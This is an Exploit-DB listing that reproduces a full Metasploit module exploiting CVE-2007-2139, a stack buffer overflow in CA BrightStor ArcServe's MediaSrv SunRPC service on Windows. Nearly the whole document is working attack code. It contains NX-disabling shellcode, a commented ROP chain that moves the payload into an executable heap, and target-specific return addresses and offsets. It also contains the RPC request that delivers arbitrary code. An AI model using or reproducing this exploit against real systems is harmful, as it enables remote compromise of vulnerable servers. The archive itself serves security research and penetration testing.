标题: CA BrightStor ArcServe - Media Service Stack Buffer Overflow (Metasploit) EDB-ID: 16413 CVE: 2007-2139 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-22 漏洞利用脚本: ##
# $Id: mediasrv_sunrpc.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::SunRPC

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'CA BrightStor ArcServe Media Service Stack Buffer Overflow',
   'Description'    => %q{
     This exploit targets a stack buffer overflow in the MediaSrv RPC service of CA
    BrightStor Arcserve. By sending a specially crafted SUNRPC request, an attacker
    can overflow a stack buffer and execute arbitrary code.
   },
   'Author'         => [ 'toto' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9583 $',
   'References'     =>
    [
     [ 'CVE', '2007-2139'],
     [ 'OSVDB', '35326' ],
     [ 'BID', '23635'],
     [ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-07-022.html'],
    ],
   'Privileged'     => true,
   'Platform'       => 'win',
   'Payload'        =>
    {
     'Space'    => 0x300,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c_",
     'Prepend' =>
       # Disable NX on 2k3 to upload data on the stack
       # (service crashes if the stack is switched to the heap)
       "\x64\x8b\x0d\x30\x00\x00\x00"              + # mov ecx, dword ptr fs:[0x30] ; PEB
       "\x83\xb9\xa4\x00\x00\x00\x05"              + # cmp dword ptr [ecx+0xa4], 5  ; MajorVersion == 5
       "\x75\x30"                                  + # jnz after
       "\x83\xb9\xa8\x00\x00\x00\x02"              + # cmp dword ptr [ecx+0xa8], 2  ; MinorVersion == 2
       "\x75\x27"                                  + # jnz after
       "\x81\xb9\xac\x00\x00\x00\xce\x0e\x00\x00"  + # cmp dword ptr [ecx+0xac], 0xece  ; BuildVersion (> SP0)
       "\x76\x1b"                                  + # jbe after
       "\x8d\x89\xa8\x00\x00\x00"                  + # lea ecx, [ecx+0xa8]
       "\xba\x00\x03\xfe\x7f"                      + # mov edx, 0x7ffe0300
       "\xb8\xed\x00\x00\x00"                      + # mov eax, 0xed
       "\x6a\x04"                                  + # push 4
       "\x51"                                      + # push ecx
       "\x6a\x22"                                  + # push 22
       "\x6a\xff"                                  + # push -1
       "\x6a\xff"                                  + # push -1 (padding)
       "\xff\x12",                                   # call dword ptr[edx]
     'StackAdjustment' => -10000,

    },
   'Targets'        =>
    [
     ['BrightStor Arcserve 9.0 (?) - 11.5 SP2 (Windows 2000)', { 'Ret' => 0x1002b715 , 'Off' => 0x304} ],
     ['BrightStor Arcserve 9.0 (?) - 11.5 SP2 (Windows 2003)', { 'Ret' => 0x1002b715 , 'Off' => 0x300} ],
     ['BrightStor Arcserve 11.1 - 11.5 SP2 (Windows All - NX Support)', { 'Ret' => 0x41414141 } ],
    ],
   'DisclosureDate' => 'Apr 25 2007',
   'DefaultTarget' => 0
  ))
 end

 def exploit
  sunrpc_create('tcp', 0x6097e, 1)

  if target.name =~ /NX/
   # summary:
   #
   # 1) get the payload address
   # 2) copy the payload into a fixed buffer (data section)
   # 3) allocate an executable heap buffer (to bypass NX)
   # 4) copy back the payload into the heap
   # 5) jmp to the payload in the heap
   #
   # step 1: jmp arround the atoi pointers
   #
   # add esp, 20h
   # retn
   #
   # step 2: get a pointer to the stack in ecx
   #
   # xor eax, eax
   # mov ecx, dword ptr fs:[0]
   # cmp dword ptr [ecx+4], offset __unwind_handler
   # jnz end
   # [...]
   # end:
   # retn
   #
   # step 3: mov the stack pointer in eax
   #
   # mov eax, ecx
   # add esp, 20h
   # retn
   #
   # step 4: set fffff824h in esi
   #
   # pop esi
   # retn
   #
   # step 5: add esi to eax (eax points to the payload in the stack)
   #
   # add eax, esi
   # pop esi
   # retn
   #
   # step 6: set edi to a buffer we can write (6d515301h)
   #
   # pop edi
   # retn
   #
   # step 7: copy the payload to the buffer
   #
   # push eax
   # push  edi
   # call _strcpy_0
   # pop ecx
   # pop ecx
   # retn
   #
   # step 8: set ecx to ffffffh
   #
   # pop ecx
   # retn
   #
   # step 9: mov ecx to eax (ffffffff -> MEM_EXECUTABLE)
   #
   # mov eax, ecx
   # add esp, 20h
   # retn
   #
   # step 10: create an executable heap
   #
   # push 0
   # cmp [esp+4+arg_0], eax
   # push 1000h
   # setz al
   # push eax
   # call ds:HeapCreate    ; create a new heap (executable for NX)
   # test eax, eax
   # mov hHeap, eax
   # jz short loc_6d5071b5
   # call ___sbh_heap_init
   # test eax, eax
   # jnz short loc_6d5071b8
   # push hHeap
   # call ds:HeapDestroy
   # loc_6d5071b5:
   # xor eax, eax
   # retn
   # loc_6d5071b8:
   # push 1
   # pop eax
   # retn
   #
   # step 11: Allocate a new heap buffer (size 01060101h)
   #
   # push hHeap
   # call ds:HeapAlloc
   # pop edi
   # pop esi
   # retn
   #
   # step 12: set esi to the buffer containing the payload  (6d515301h)
   #
   # pop esi
   # retn
   #
   # step 13: copy the payload to the heap (executable)
   #
   # push esi
   # push eax
   # call _strcpy_0
   # pop ecx
   # pop ecx
   # pop esi
   # retn
   #
   # step 14: go to the heap
   #
   # call eax
   #
   # step 15:
   # if 2k3 the prepend data disables NX to upload and execute
   # data on the stack
   #
   # step 16: w00t!

   data = Rex::Text.rand_text_alphanumeric(0x600)

   # ret 1
   data[ 0x100, 4 ] = [ 0x6d5010e4 ].pack('V')

   # used to store the result of atoi
   data[ 0x108, 4 ] = [ 0x6d51652b ].pack('V')
   data[ 0x10C, 4 ] = [ 0x6d51652b ].pack('V')
   data[ 0x110, 4 ] = [ 0x6d51652b ].pack('V')
   data[ 0x114, 4 ] = [ 0x6d51652b ].pack('V')
   data[ 0x118, 4 ] = [ 0x6d51652b ].pack('V')
   data[ 0x11C, 4 ] = [ 0x6d51652b ].pack('V')

   # ret 2
   data[ 0x124, 4 ] = [ 0x6d50b27a ].pack('V')

   # ret 3
   data[ 0x128, 4 ] = [ 0x6d5010e2 ].pack('V')

   # ret 4
   data[ 0x14C, 4 ] = [ 0x6d50aa6d ].pack('V')
   data[ 0x150, 4 ] = [ 0xfffff824 ].pack('V')

   # ret 5
   data[ 0x154, 4 ] = [ 0x6d50aa6b ].pack('V')

   # ret 6
   data[ 0x15C, 4 ] = [ 0x6d5057a0 ].pack('V')
   data[ 0x160, 4 ] = [ 0x6d515301 ].pack('V')

   # ret 7
   data[ 0x164, 4 ] = [ 0x6d50b938 ].pack('V')

   # ret 8
   data[ 0x178, 4 ] = [ 0x6d502df0 ].pack('V')
   data[ 0x17C, 4 ] = [ 0xffffffff ].pack('V')

   # ret 9
   data[ 0x180, 4 ] = [ 0x6d5010e2 ].pack('V')

   # ret 10
   data[ 0x1a4, 4 ] = [ 0x6d507182 ].pack('V')

   # ret 11
   data[ 0x1a8, 4 ] = [ 0x6d505c2c ].pack('V')
   data[ 0x1ac, 4 ] = [ 0xffffffff ].pack('V')
   data[ 0x1b0, 4 ] = [ 0x01060101 ].pack('V')

   # ret 12
   data[ 0x1bc, 4 ] = [ 0x6d50aa6d ].pack('V')
   data[ 0x1c0, 4 ] = [ 0x6d515301 ].pack('V')

   # ret 13
   data[ 0x1c4, 4 ] = [ 0x6d50f648 ].pack('V')

   # ret 14
   data[ 0x1cc, 4 ] = [ 0x6d506867 ].pack('V')

   data[ 0x260 , payload.encoded.length ] = payload.encoded

  else
   data = Rex::Text.rand_text_alphanumeric(0xA64)
   off = target['Off']

   data[ off, payload.encoded.length] = payload.encoded
   data[ off + 0x73c, 2 ] = "\xeb\x06"
   data[ off + 0x740, 4 ] = [ target.ret ].pack('V')
   data[ off + 0x744, 5 ] = "\xe9\xb7\xf8\xff\xff"
  end

  data = "_" + data + "_1_1_1_1_1_1_1_1_1"

  request = XDR.encode(1, 1, 2, 2, 2, data, 3, 3)

  print_status("Trying target #{target.name}...")

  begin
   ret = sunrpc_call(0xf5, request)
   select(nil,nil,nil,20)
  rescue
  end

  sunrpc_destroy

  handler
  disconnect

 end
end URL: https://www.exploit-db.com/exploits/16413